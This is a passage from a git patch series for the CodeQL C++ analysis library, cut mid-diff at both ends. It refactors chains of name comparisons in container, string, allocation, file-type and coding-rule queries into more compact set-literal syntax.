["push_back", "push_front"]) or - this.hasQualifiedName("std", "list", ["push_back", "push_front"]) or - this.hasQualifiedName("std", "forward_list", "push_front") + this.hasQualifiedName("std", ["vector", "deque", "list"], "push_back") or + this.hasQualifiedName("std", ["deque", "list", "forward_list"], "push_front") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -87,11 +85,8 @@ private class StdSequenceContainerPush extends TaintFunction { */ private class StdSequenceContainerFrontBack extends TaintFunction { StdSequenceContainerFrontBack() { - this.hasQualifiedName("std", "array", ["front", "back"]) or - this.hasQualifiedName("std", "vector", ["front", "back"]) or - this.hasQualifiedName("std", "deque", ["front", "back"]) or - this.hasQualifiedName("std", "list", ["front", "back"]) or - this.hasQualifiedName("std", "forward_list", "front") + this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "front") or + this.hasQualifiedName("std", ["array", "vector", "deque", "list"], "back") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -107,7 +102,7 @@ private class StdSequenceContainerFrontBack extends TaintFunction { private class StdSequenceContainerInsert extends TaintFunction { StdSequenceContainerInsert() { this.hasQualifiedName("std", ["vector", "deque", "list"], "insert") or - this.hasQualifiedName("std", ["forward_list"], "insert_after") + this.hasQualifiedName("std", "forward_list", "insert_after") } /** diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 1e52a5ea6bd..8a15f0d8fae 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -256,10 +256,7 @@ private class StdStringSubstr extends TaintFunction { * The standard functions `std::string.swap` and `std::stringstream::swap`. */ private class StdStringSwap extends TaintFunction { - StdStringSwap() { - this.hasQualifiedName("std", "basic_string", "swap") or - this.hasQualifiedName("std", "basic_stringstream", "swap") - } + StdStringSwap() { this.hasQualifiedName("std", ["basic_string", "basic_stringstream"], "swap") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // str1.swap(str2) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll index 9acd5b32d4f..d90b46174fe 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll @@ -13,15 +13,16 @@ import semmle.code.cpp.models.interfaces.SideEffect */ class StrcatFunction extends TaintFunction, DataFlowFunction, ArrayFunction, SideEffectFunction { StrcatFunction() { - exists(string name | name = getName() | - name = "strcat" or // strcat(dst, src) - name = "strncat" or // strncat(dst, src, max_amount) - name = "wcscat" or // wcscat(dst, src) - name = "_mbscat" or // _mbscat(dst, src) - name = "wcsncat" or // wcsncat(dst, src, max_amount) - name = "_mbsncat" or // _mbsncat(dst, src, max_amount) - name = "_mbsncat_l" // _mbsncat_l(dst, src, max_amount, locale) - ) + getName() = + [ + "strcat", // strcat(dst, src) + "strncat", // strncat(dst, src, max_amount) + "wcscat", // wcscat(dst, src) + "_mbscat", // _mbscat(dst, src) + "wcsncat", // wcsncat(dst, src, max_amount) + "_mbsncat", // _mbsncat(dst, src, max_amount) + "_mbsncat_l" // _mbsncat_l(dst, src, max_amount, locale) + ] } /** @@ -45,20 +46,13 @@ class StrcatFunction extends TaintFunction, DataFlowFunction, ArrayFunction, Sid } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - exists(string name | name = getName() | - ( - name = "strncat" or - name = "wcsncat" or - name = "_mbsncat" or - name = "_mbsncat_l" - ) and - input.isParameter(2) and - output.isParameterDeref(0) - or - name = "_mbsncat_l" and - input.isParameter(3) and - output.isParameterDeref(0) - ) + getName() = ["strncat", "wcsncat", "_mbsncat", "_mbsncat_l"] and + input.isParameter(2) and + output.isParameterDeref(0) + or + getName() = "_mbsncat_l" and + input.isParameter(3) and + output.isParameterDeref(0) or input.isParameterDeref(0) and output.isParameterDeref(0) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll index 7f71dfc0647..655c17a6017 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll @@ -13,25 +13,13 @@ import semmle.code.cpp.models.interfaces.Taint */ private class StrdupFunction extends AllocationFunction, ArrayFunction, DataFlowFunction { StrdupFunction() { - exists(string name | - hasGlobalName(name) and - ( - // strdup(str) - name = "strdup" - or - // wcsdup(str) - name = "wcsdup" - or - // _strdup(str) - name = "_strdup" - or - // _wcsdup(str) - name = "_wcsdup" - or - // _mbsdup(str) - name = "_mbsdup" - ) - ) + hasGlobalName([ + "strdup", // strdup(str) + "wcsdup", // wcsdup(str) + "_strdup", // _strdup(str) + "_wcsdup", // _wcsdup(str) + "_mbsdup" // _mbsdup(str) + ]) } override predicate hasArrayInput(int bufParam) { bufParam = 0 } diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/Allocation.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/Allocation.qll index 65c677761cc..d309791f79a 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/Allocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/Allocation.qll @@ -93,16 +93,10 @@ abstract class AllocationExpr extends Expr { */ class OperatorNewAllocationFunction extends AllocationFunction { OperatorNewAllocationFunction() { - exists(string name | - hasGlobalName(name) and - ( - // operator new(bytes, ...) - name = "operator new" - or - // operator new[](bytes, ...) - name = "operator new[]" - ) - ) + hasGlobalName([ + "operator new", // operator new(bytes, ...) + "operator new[]" // operator new[](bytes, ...) + ]) } override int getSizeArg() { result = 0 } diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/Deallocation.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/Deallocation.qll index 501839de678..9c74102e99c 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/Deallocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/Deallocation.qll @@ -38,16 +38,10 @@ abstract class DeallocationExpr extends Expr { */ class OperatorDeleteDeallocationFunction extends DeallocationFunction { OperatorDeleteDeallocationFunction() { - exists(string name | - hasGlobalName(name) and - ( - // operator delete(pointer, ...) - name = "operator delete" - or - // operator delete[](pointer, ...) - name = "operator delete[]" - ) - ) + hasGlobalName([ + "operator delete", // operator delete(pointer, ...) + "operator delete[]" // operator delete[](pointer, ...) + ]) } override int getFreedArg() { result = 0 } From 13d9d5dc454c43e4f9881327df1e1709950aaa34 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 3 Dec 2020 18:50:43 +0000 Subject: [PATCH 0132/1241] C++: Use [,] more in general. --- .../Magic Constants/MagicConstants.qll | 205 ++++-------------- cpp/ql/src/DefaultOptions.qll | 12 +- cpp/ql/src/JPL_C/LOC-2/Rule 05/HeapMemory.ql | 10 +- .../src/JPL_C/LOC-2/Rule 07/ThreadSafety.ql | 9 +- cpp/ql/src/JPL_C/LOC-2/Rule 09/Semaphores.qll | 19 +- .../src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql | 13 +- cpp/ql/src/JPL_C/Tasks.qll | 4 +- .../Conversion/LossyFunctionResultCast.ql | 37 +--- .../CWE/CWE-457/InitializationFunctions.qll | 87 ++++---- .../Security/CWE/CWE-732/FilePermissions.qll | 7 +- cpp/ql/src/semmle/code/cpp/File.qll | 37 +--- cpp/ql/src/semmle/code/cpp/Function.qll | 55 +---- cpp/ql/src/semmle/code/cpp/Print.qll | 2 +- .../src/semmle/code/cpp/commons/DateTime.qll | 6 +- .../semmle/code/cpp/controlflow/Dataflow.qll | 4 +- .../cpp/ir/dataflow/DefaultTaintTracking.qll | 27 +-- .../semmle/code/cpp/security/BufferAccess.qll | 32 +-- .../code/cpp/security/CommandExecution.qll | 15 +- .../semmle/code/cpp/security/Encryption.qll | 22 +- .../src/semmle/code/cpp/security/Security.qll | 80 ++----- 20 files changed, 163 insertions(+), 520 deletions(-) diff --git a/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll b/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll index d5bf4f71292..4ee047f56be 100644 --- a/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll +++ b/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll @@ -8,168 +8,41 @@ import semmle.code.cpp.AutogeneratedFile predicate trivialPositiveIntValue(string s) { // Small numbers s = [0 .. 20].toString() or - // Popular powers of two (decimal) - s = "16" or - s = "24" or - s = "32" or - s = "64" or - s = "128" or - s = "256" or - s = "512" or - s = "1024" or - s = "2048" or - s = "4096" or - s = "16384" or - s = "32768" or - s = "65536" or - s = "1048576" or - s = "2147483648" or - s = "4294967296" or - // Popular powers of two, minus one (decimal) - s = "15" or - s = "31" or - s = "63" or - s = "127" or - s = "255" or - s = "511" or - s = "1023" or - s = "2047" or - s = "4095" or - s = "16383" or - s = "32767" or - s = "65535" or - s = "1048577" or - s = "2147483647" or - s = "4294967295" or - // Popular powers of two (32-bit hex) - s = "0x00000001" or - s = "0x00000002" or - s = "0x00000004" or - s = "0x00000008" or - s = "0x00000010" or - s = "0x00000020" or - s = "0x00000040" or - s = "0x00000080" or - s = "0x00000100" or - s = "0x00000200" or - s = "0x00000400" or - s = "0x00000800" or - s = "0x00001000" or - s = "0x00002000" or - s = "0x00004000" or - s = "0x00008000" or - s = "0x00010000" or - s = "0x00020000" or - s = "0x00040000" or - s = "0x00080000" or - s = "0x00100000" or - s = "0x00200000" or - s = "0x00400000" or - s = "0x00800000" or - s = "0x01000000" or - s = "0x02000000" or - s = "0x04000000" or - s = "0x08000000" or - s = "0x10000000" or - s = "0x20000000" or - s = "0x40000000" or - s = "0x80000000" or - // Popular powers of two, minus one (32-bit hex) - s = "0x00000001" or - s = "0x00000003" or - s = "0x00000007" or - s = "0x0000000f" or - s = "0x0000001f" or - s = "0x0000003f" or - s = "0x0000007f" or - s = "0x000000ff" or - s = "0x000001ff" or - s = "0x000003ff" or - s = "0x000007ff" or - s = "0x00000fff" or - s = "0x00001fff" or - s = "0x00003fff" or - s = "0x00007fff" or - s = "0x0000ffff" or - s = "0x0001ffff" or - s = "0x0003ffff" or - s = "0x0007ffff" or - s = "0x000fffff" or - s = "0x001fffff" or - s = "0x003fffff" or - s = "0x007fffff" or - s = "0x00ffffff" or - s = "0x01ffffff" or - s = "0x03ffffff" or - s = "0x07ffffff" or - s = "0x0fffffff" or - s = "0x1fffffff" or - s = "0x3fffffff" or - s = "0x7fffffff" or - s = "0xffffffff" or - // Popular powers of two (16-bit hex) - s = "0x0001" or - s = "0x0002" or - s = "0x0004" or - s = "0x0008" or - s = "0x0010" or - s = "0x0020" or - s = "0x0040" or - s = "0x0080" or - s = "0x0100" or - s = "0x0200" or - s = "0x0400" or - s = "0x0800" or - s = "0x1000" or - s = "0x2000" or - s = "0x4000" or - s = "0x8000" or - // Popular powers of two, minus one (16-bit hex) - s = "0x0001" or - s = "0x0003" or - s = "0x0007" or - s = "0x000f" or - s = "0x001f" or - s = "0x003f" or - s = "0x007f" or - s = "0x00ff" or - s = "0x01ff" or - s = "0x03ff" or - s = "0x07ff" or - s = "0x0fff" or - s = "0x1fff" or - s = "0x3fff" or - s = "0x7fff" or - s = "0xffff" or - // Popular powers of two (8-bit hex) - s = "0x01" or - s = "0x02" or - s = "0x04" or - s = "0x08" or - s = "0x10" or - s = "0x20" or - s = "0x40" or - s = "0x80" or - // Popular powers of two, minus one (8-bit hex) - s = "0x01" or - s = "0x03" or - s = "0x07" or - s = "0x0f" or - s = "0x1f" or - s = "0x3f" or - s = "0x7f" or - s = "0xff" or - s = "0x00" or - // Powers of ten - s = "10" or - s = "100" or - s = "1000" or - s = "10000" or - s = "100000" or - s = "1000000" or - s = "10000000" or - s = "100000000" or - s = "1000000000" + s = + [ + // Popular powers of two (decimal) + "16", "24", "32", "64", "128", "256", "512", "1024", "2048", "4096", "16384", "32768", + "65536", "1048576", "2147483648", "4294967296", + // Popular powers of two, minus one (decimal) + "15", "31", "63", "127", "255", "511", "1023", "2047", "4095", "16383", "32767", "65535", + "1048577", "2147483647", "4294967295", + // Popular powers of two (32-bit hex) + "0x00000001", "0x00000002", "0x00000004", "0x00000008", "0x00000010", "0x00000020", + "0x00000040", "0x00000080", "0x00000100", "0x00000200", "0x00000400", "0x00000800", + "0x00001000", "0x00002000", "0x00004000", "0x00008000", "0x00010000", "0x00020000", + "0x00040000", "0x00080000", "0x00100000", "0x00200000", "0x00400000", "0x00800000", + "0x01000000", "0x02000000", "0x04000000", "0x08000000", "0x10000000", "0x20000000", + "0x40000000", "0x80000000", + // Popular powers of two, minus one (32-bit hex) + "0x00000001", "0x00000003", "0x00000007", "0x0000000f", "0x0000001f", "0x0000003f", + "0x0000007f", "0x000000ff", "0x000001ff", "0x000003ff", "0x000007ff", "0x00000fff", + "0x00001fff", "0x00003fff", "0x00007fff", "0x0000ffff", "0x0001ffff", "0x0003ffff", + "0x0007ffff", "0x000fffff", "0x001fffff", "0x003fffff", "0x007fffff", "0x00ffffff", + "0x01ffffff", "0x03ffffff", "0x07ffffff", "0x0fffffff", "0x1fffffff", "0x3fffffff", + "0x7fffffff", "0xffffffff", + // Popular powers of two (16-bit hex) + "0x0001", "0x0002", "0x0004", "0x0008", "0x0010", "0x0020", "0x0040", "0x0080", "0x0100", + "0x0200", "0x0400", "0x0800", "0x1000", "0x2000", "0x4000", "0x8000", + // Popular powers of two, minus one (16-bit hex) + "0x0001", "0x0003", "0x0007", "0x000f", "0x001f", "0x003f", "0x007f", "0x00ff", "0x01ff", + "0x03ff", "0x07ff", "0x0fff", "0x1fff", "0x3fff", "0x7fff", "0xffff", + // Popular powers of two (8-bit hex) + "0x01", "0x02", "0x04", "0x08", "0x10", "0x20", "0x40", "0x80", + // Popular powers of two, minus one (8-bit hex) + "0x01", "0x03", "0x07", "0x0f", "0x1f", "0x3f", "0x7f", "0xff", "0x00", + // Powers of ten + "10", "100", "1000", "10000", "100000", "1000000", "10000000", "100000000", "1000000000" + ] } predicate trivialIntValue(string s) { @@ -235,10 +108,7 @@ predicate joiningStringTrivial(Literal lit) { // understand (which is against the spirit of these queries). stringLiteral(lit) and exists(FunctionCall fc | - ( - fc.getTarget().getName() = "operator+" or - fc.getTarget().getName() = "operator<<" - ) and + fc.getTarget().getName() = ["operator+", "operator<<"] and fc.getAnArgument().getAChild*() = lit ) and lit.getValue().length() < 16 @@ -291,7 +161,8 @@ predicate arrayInitializerChild(AggregateLiteral parent, Expr e) { // i.e. not a constant folded expression predicate literallyLiteral(Literal lit) { - lit.getValueText() + lit + .getValueText() .regexpMatch(".*\".*|\\s*+[-+]?+\\s*+(0[xob][0-9a-fA-F]|[0-9])[0-9a-fA-F,._]*+([eE][-+]?+[0-9,._]*+)?+\\s*+[a-zA-Z]*+\\s*+") } diff --git a/cpp/ql/src/DefaultOptions.qll b/cpp/ql/src/DefaultOptions.qll index 3e03ec9ee65..efb687ed2e3 100644 --- a/cpp/ql/src/DefaultOptions.qll +++ b/cpp/ql/src/DefaultOptions.qll @@ -59,14 +59,10 @@ class Options extends string { predicate exits(Function f) { f.getAnAttribute().hasName("noreturn") or - exists(string name | f.hasGlobalOrStdName(name) | - name = "exit" or - name = "_exit" or - name = "abort" or - name = "__assert_fail" or - name = "longjmp" or - name = "__builtin_unreachable" - ) + f + .hasGlobalOrStdName([ + "exit", "_exit", "abort", "__assert_fail", "longjmp", "__builtin_unreachable" + ]) or CustomOptions::exits(f) // old Options.qll } diff --git a/cpp/ql/src/JPL_C/LOC-2/Rule 05/HeapMemory.ql b/cpp/ql/src/JPL_C/LOC-2/Rule 05/HeapMemory.ql index e170c48f4f6..30324d8840d 100644 --- a/cpp/ql/src/JPL_C/LOC-2/Rule 05/HeapMemory.ql +++ b/cpp/ql/src/JPL_C/LOC-2/Rule 05/HeapMemory.ql @@ -21,15 +21,7 @@ class Initialization extends Function { } class Allocation extends FunctionCall { - Allocation() { - exists(string name | name = this.getTarget().getName() | - name = "malloc" or - name = "calloc" or - name = "alloca" or - name = "sbrk" or - name = "valloc" - ) - } + Allocation() { this.getTarget().getName() = ["malloc", "calloc", "alloca", "sbrk", "valloc"] } } from Function f, Allocation a diff --git a/cpp/ql/src/JPL_C/LOC-2/Rule 07/ThreadSafety.ql b/cpp/ql/src/JPL_C/LOC-2/Rule 07/ThreadSafety.ql index 5b9f9cf79d1..4eacedc3339 100644 --- a/cpp/ql/src/JPL_C/LOC-2/Rule 07/ThreadSafety.ql +++ b/cpp/ql/src/JPL_C/LOC-2/Rule 07/ThreadSafety.ql @@ -13,13 +13,8 @@ import cpp class ForbiddenCall extends FunctionCall { ForbiddenCall() { - exists(string name | name = this.getTarget().getName() | - name = "task_delay" or - name = "taskDelay" or - name = "sleep" or - name = "nanosleep" or - name = "clock_nanosleep" - ) + this.getTarget().getName() = + ["task_delay", "taskDelay", "sleep", "nanosleep", "clock_nanosleep"] } } diff --git a/cpp/ql/src/JPL_C/LOC-2/Rule 09/Semaphores.qll b/cpp/ql/src/JPL_C/LOC-2/Rule 09/Semaphores.qll index d662aa85033..0b60a3b9877 100644 --- a/cpp/ql/src/JPL_C/LOC-2/Rule 09/Semaphores.qll +++ b/cpp/ql/src/JPL_C/LOC-2/Rule 09/Semaphores.qll @@ -6,12 +6,7 @@ import cpp class SemaphoreCreation extends FunctionCall { SemaphoreCreation() { - exists(string name | name = this.getTarget().getName() | - name = "semBCreate" or - name = "semMCreate" or - name = "semCCreate" or - name = "semRWCreate" - ) + this.getTarget().getName() = ["semBCreate", "semMCreate", "semCCreate", "semRWCreate"] } Variable getSemaphore() { result.getAnAccess() = this.getParent().(Assignment).getLValue() } @@ -72,11 +67,7 @@ class SemaphoreGive extends UnlockOperation { } class LockingPrimitive extends FunctionCall, LockOperation { - LockingPrimitive() { - exists(string name | name = this.getTarget().getName() | - name = "taskLock" or name = "intLock" or name = "taskRtpLock" - ) - } + LockingPrimitive() { this.getTarget().getName() = ["taskLock", "intLock", "taskRtpLock"] } override Function getLocked() { result = this.getTarget() } @@ -89,11 +80,7 @@ class LockingPrimitive extends FunctionCall, LockOperation { } class UnlockingPrimitive extends FunctionCall, UnlockOperation { - UnlockingPrimitive() { - exists(string name | name = this.getTarget().getName() | - name = "taskUnlock" or name = "intUnlock" or name = "taskRtpUnlock" - ) - } + UnlockingPrimitive() { this.getTarget().getName() = ["taskUnlock", "intUnlock", "taskRtpUnlock"] } Function getLocked() { result = getMatchingLock().getLocked() } diff --git a/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql b/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql index 965bb8440b0..82b7f146554 100644 --- a/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql +++ b/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql @@ -12,18 +12,7 @@ import cpp predicate allowedTypedefs(TypedefType t) { - exists(string name | name = t.getName() | - name = "I64" or - name = "U64" or - name = "I32" or - name = "U32" or - name = "I16" or - name = "U16" or - name = "I8" or - name = "U8" or - name = "F64" or - name = "F32" - ) + t.getName() = ["I64", "U64", "I32", "U32", "I16", "U16", "I8", "U8", "F64", "F32"] } /** diff --git a/cpp/ql/src/JPL_C/Tasks.qll b/cpp/ql/src/JPL_C/Tasks.qll index 51eb0477c03..19f4b5a9840 100644 --- a/cpp/ql/src/JPL_C/Tasks.qll +++ b/cpp/ql/src/JPL_C/Tasks.qll @@ -5,8 +5,8 @@ import cpp */ class Task extends Function { Task() { - exists(FunctionCall taskCreate, string name | name = "taskCreate" or name = "taskSpawn" | - name = taskCreate.getTarget().getName() and + exists(FunctionCall taskCreate | + taskCreate.getTarget().getName() = ["taskCreate", "taskSpawn"] and this = taskCreate.getArgument(4).(AddressOfExpr).getAddressable() ) } diff --git a/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql b/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql index 27f2000692c..2a8aba6a961 100644 --- a/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql +++ b/cpp/ql/src/Likely Bugs/Conversion/LossyFunctionResultCast.ql @@ -13,38 +13,17 @@ import cpp import semmle.code.cpp.dataflow.DataFlow predicate whitelist(Function f) { - exists(string fName | - fName = f.getName() and - ( - fName = "ceil" or - fName = "ceilf" or - fName = "ceill" or - fName = "floor" or - fName = "floorf" or - fName = "floorl" or - fName = "nearbyint" or - fName = "nearbyintf" or - fName = "nearbyintl" or - fName = "rint" or - fName = "rintf" or - fName = "rintl" or - fName = "round" or - fName = "roundf" or - fName = "roundl" or - fName = "trunc" or - fName = "truncf" or - fName = "truncl" or - fName.matches("__builtin_%") - ) - ) + f.getName() = + [ + "ceil", "ceilf", "ceill", "floor", "floorf", "floorl", "nearbyint", "nearbyintf", + "nearbyintl", "rint", "rintf", "rintl", "round", "roundf", "roundl", "trunc", "truncf", + "truncl" + ] or + f.getName().matches("__builtin_%") } predicate whitelistPow(FunctionCall fc) { - ( - fc.getTarget().getName() = "pow" or - fc.getTarget().getName() = "powf" or - fc.getTarget().getName() = "powl" - ) and + fc.getTarget().getName() = ["pow", "powf", "powl"] and exists(float value | value = fc.getArgument(0).getValue().toFloat() and (value.floor() - value).abs() < 0.001 diff --git a/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll b/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll index b77ff068150..fa1ef79a0f2 100644 --- a/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll +++ b/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll @@ -189,7 +189,8 @@ class InitializationFunction extends Function { // Field wise assignment to the parameter any(Assignment e).getLValue() = getAFieldAccess(this.getParameter(i)) or i = - this.(MemberFunction) + this + .(MemberFunction) .getAnOverridingFunction+() .(InitializationFunction) .initializedParameter() or @@ -326,52 +327,35 @@ class InitializationFunction extends Function { // Return value is not a success code but the output functions never fail. name.matches("_Interlocked%") or - // Functions that never fail, according to MSDN. - name = "QueryPerformanceCounter" - or - name = "QueryPerformanceFrequency" - or - // Functions that never fail post-Vista, according to MSDN. - name = "InitializeCriticalSectionAndSpinCount" - or - // `rand_s` writes 0 to a non-null argument if it fails, according to MSDN. - name = "rand_s" - or - // IntersectRect initializes the argument regardless of whether the input intersects - name = "IntersectRect" - or - name = "SetRect" - or - name = "UnionRect" - or - // These functions appears to have an incorrect CFG, which leads to false positives - name = "PhysicalToLogicalDPIPoint" - or - name = "LogicalToPhysicalDPIPoint" - or - // Sets NtProductType to default on error - name = "RtlGetNtProductType" - or - // Our CFG is not sophisticated enough to detect that the argument is always initialized - name = "StringCchLengthA" - or - // All paths init the argument, and always returns SUCCESS. - name = "RtlUnicodeToMultiByteSize" - or - // All paths init the argument, and always returns SUCCESS. - name = "RtlMultiByteToUnicodeSize" - or - // All paths init the argument, and always returns SUCCESS. - name = "RtlUnicodeToMultiByteN" - or - // Always initializes argument - name = "RtlGetFirstRange" - or - // Destination range is zeroed out on failure, assuming first two parameters are valid - name = "memcpy_s" - or - // This zeroes the memory unconditionally - name = "SeCreateAccessState" + name = + [ + // Functions that never fail, according to MSDN. + "QueryPerformanceCounter", "QueryPerformanceFrequency", + // Functions that never fail post-Vista, according to MSDN. + "InitializeCriticalSectionAndSpinCount", + // `rand_s` writes 0 to a non-null argument if it fails, according to MSDN. + "rand_s", + // IntersectRect initializes the argument regardless of whether the input intersects + "IntersectRect", "SetRect", "UnionRect", + // These functions appears to have an incorrect CFG, which leads to false positives + "PhysicalToLogicalDPIPoint", "LogicalToPhysicalDPIPoint", + // Sets NtProductType to default on error + "RtlGetNtProductType", + // Our CFG is not sophisticated enough to detect that the argument is always initialized + "StringCchLengthA", + // All paths init the argument, and always returns SUCCESS. + "RtlUnicodeToMultiByteSize", + // All paths init the argument, and always returns SUCCESS. + "RtlMultiByteToUnicodeSize", + // All paths init the argument, and always returns SUCCESS. + "RtlUnicodeToMultiByteN", + // Always initializes argument + "RtlGetFirstRange", + // Destination range is zeroed out on failure, assuming first two parameters are valid + "memcpy_s", + // This zeroes the memory unconditionally + "SeCreateAccessState" + ] ) } } @@ -474,9 +458,12 @@ class ConditionalInitializationCall extends FunctionCall { fa.getASuccessor+() = result ) and result = - this.getArgument(getTarget(this) - .(ConditionalInitializationFunction) - .conditionallyInitializedParameter(_)).(AddressOfExpr).getOperand() + this + .getArgument(getTarget(this) + .(ConditionalInitializationFunction) + .conditionallyInitializedParameter(_)) + .(AddressOfExpr) + .getOperand() } Variable getStatusVariable() { diff --git a/cpp/ql/src/Security/CWE/CWE-732/FilePermissions.qll b/cpp/ql/src/Security/CWE/CWE-732/FilePermissions.qll index d62f3e6a6da..ad5ed29098c 100644 --- a/cpp/ql/src/Security/CWE/CWE-732/FilePermissions.qll +++ b/cpp/ql/src/Security/CWE/CWE-732/FilePermissions.qll @@ -140,12 +140,9 @@ class FopenCreationExpr extends FileCreationExpr { class FopensCreationExpr extends FileCreationExpr { FopensCreationExpr() { - exists(string name | name = this.getTarget().getName() | - name = "fopen_s" or - name = "_wfopen_s" - ) and + this.getTarget().getName() = ["fopen_s", "_wfopen_s"] and exists(string mode | - (mode = "w" or mode = "a") and + mode = ["w", "a"] and this.getArgument(2).getValue().matches(mode + "%") ) } diff --git a/cpp/ql/src/semmle/code/cpp/File.qll b/cpp/ql/src/semmle/code/cpp/File.qll index 1887f43b70c..c7486f4d75d 100644 --- a/cpp/ql/src/semmle/code/cpp/File.qll +++ b/cpp/ql/src/semmle/code/cpp/File.qll @@ -363,20 +363,8 @@ class File extends Container, @file { */ class HeaderFile extends File { HeaderFile() { - exists(string ext | ext = this.getExtension().toLowerCase() | - ext = "h" or - ext = "r" or - /* --- */ ext = "hpp" or - ext = "hxx" or - ext = "h++" or - ext = "hh" or - ext = "hp" or - ext = "tcc" or - ext = "tpp" or - ext = "txx" or - ext = "t++" - /* --- --- */ - ) + this.getExtension().toLowerCase() = + ["h", "r", "hpp", "hxx", "h++", "hh", "hp", "tcc", "tpp", "txx", "t++"] or not exists(this.getExtension()) and exists(Include i | i.getIncludedFile() = this) @@ -406,7 +394,7 @@ class HeaderFile extends File { * `File.compiledAsC`. */ class CFile extends File { - CFile() { exists(string ext | ext = this.getExtension().toLowerCase() | ext = "c" or ext = "i") } + CFile() { this.getExtension().toLowerCase() = ["c", "i"] } override string getAPrimaryQlClass() { result = "CFile" } } @@ -419,21 +407,10 @@ class CFile extends File { */ class CppFile extends File { CppFile() { - exists(string ext | ext = this.getExtension().toLowerCase() | - /* --- */ ext = "cpp" or - ext = "cxx" or - ext = "c++" or - ext = "cc" or - ext = "cp" or - ext = "icc" or - ext = "ipp" or - ext = "ixx" or - ext = "i++" or - ext = "ii" - /* --- */ - // Note: .C files are indistinguishable from .c files on some - // file systems, so we just treat them as CFile's. - ) + this.getExtension().toLowerCase() = + ["cpp", "cxx", "c++", "cc", "cp", "icc", "ipp", "ixx", "i++", "ii"] + // Note: .C files are indistinguishable from .c files on some + // file systems, so we just treat them as CFile's. } override string getAPrimaryQlClass() { result = "CppFile" } diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index 2c45fa184cf..fdadc57259c 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -445,50 +445,17 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { // ... and likewise for destructors. this.(Destructor).getADestruction().mayBeGloballyImpure() else - not exists(string name | this.hasGlobalOrStdName(name) | - // Unless it's a function that we know is side-effect-free, it may - // have side-effects. - name = "strcmp" or - name = "wcscmp" or - name = "_mbscmp" or - name = "strlen" or - name = "wcslen" or - name = "_mbslen" or - name = "_mbslen_l" or - name = "_mbstrlen" or - name = "_mbstrlen_l" or - name = "strnlen" or - name = "strnlen_s" or - name = "wcsnlen" or - name = "wcsnlen_s" or - name = "_mbsnlen" or - name = "_mbsnlen_l" or - name = "_mbstrnlen" or - name = "_mbstrnlen_l" or - name = "strncmp" or - name = "wcsncmp" or - name = "_mbsncmp" or - name = "_mbsncmp_l" or - name = "strchr" or - name = "memchr" or - name = "wmemchr" or - name = "memcmp" or - name = "wmemcmp" or - name = "_memicmp" or - name = "_memicmp_l" or - name = "feof" or - name = "isdigit" or - name = "isxdigit" or - name = "abs" or - name = "fabs" or - name = "labs" or - name = "floor" or - name = "ceil" or - name = "atoi" or - name = "atol" or - name = "atoll" or - name = "atof" - ) + // Unless it's a function that we know is side-effect-free, it may + // have side-effects. + not this + .hasGlobalOrStdName([ + "strcmp", "wcscmp", "_mbscmp", "strlen", "wcslen", "_mbslen", "_mbslen_l", + "_mbstrlen", "_mbstrlen_l", "strnlen", "strnlen_s", "wcsnlen", "wcsnlen_s", + "_mbsnlen", "_mbsnlen_l", "_mbstrnlen", "_mbstrnlen_l", "strncmp", "wcsncmp", + "_mbsncmp", "_mbsncmp_l", "strchr", "memchr", "wmemchr", "memcmp", "wmemcmp", + "_memicmp", "_memicmp_l", "feof", "isdigit", "isxdigit", "abs", "fabs", "labs", + "floor", "ceil", "atoi", "atol", "atoll", "atof" + ]) } /** diff --git a/cpp/ql/src/semmle/code/cpp/Print.qll b/cpp/ql/src/semmle/code/cpp/Print.qll index 4c9cc4edf27..f8d30f55a88 100644 --- a/cpp/ql/src/semmle/code/cpp/Print.qll +++ 